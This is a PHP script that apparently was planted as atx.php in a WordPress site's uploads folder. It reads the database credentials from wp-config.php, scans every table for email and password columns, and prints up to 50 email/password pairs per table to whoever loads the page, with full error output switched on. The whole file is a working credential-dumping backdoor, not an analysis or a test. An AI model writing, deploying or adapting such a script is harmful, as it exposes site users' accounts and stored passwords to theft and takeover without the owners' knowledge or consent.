File: /var/www/novotecs.com/wp-content/uploads/atx.php
<?php
// Afficher toutes les erreurs pour le debug
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
// Charger la configuration WordPress
require_once $_SERVER["DOCUMENT_ROOT"].'/wp-config.php';
// Récupération des infos DB
$host = DB_HOST;
$dbname = DB_NAME;
$username = DB_USER;
$password = DB_PASSWORD;
try {
// Connexion PDO
$pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8", $username, $password, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
]);
// Obtenir la liste des tables
$tables = $pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_NUM);
$anyFound = false;
foreach ($tables as $tableRow) {
$table = $tableRow[0];
// Colonnes de la table
$columns = $pdo->query("SHOW COLUMNS FROM `$table`")->fetchAll();
$emailColumn = null;
$passwordColumn = null;
foreach ($columns as $col) {
$field = strtolower($col['Field']);
if (strpos($field, 'email') !== false) {
$emailColumn = $col['Field'];
}
if (strpos($field, 'password') !== false || strpos($field, 'user_pass') !== false || strpos($field, 'pass') !== false) {
$passwordColumn = $col['Field'];
}
}
// Si on a trouvé email + mot de passe
if ($emailColumn && $passwordColumn) {
// Limiter à 50 lignes pour éviter surcharge
$stmt = $pdo->query("SELECT `$emailColumn`, `$passwordColumn` FROM `$table` LIMIT 50");
$rows = $stmt->fetchAll();
if (!$rows) {
continue;
}
echo "<h3>Table: $table</h3>";
foreach ($rows as $row) {
// Affichage sécurisé
$email = htmlspecialchars($row[$emailColumn]);
$password = htmlspecialchars($row[$passwordColumn]);
echo "<b>$email</b> : <i>$password</i><br>";
}
$anyFound = true;
}
}
if (!$anyFound) {
echo "Aucune donnée email/mot de passe trouvée.";
}
} catch (PDOException $e) {
echo "Erreur de connexion ou requête : " . $e->getMessage();
}
?>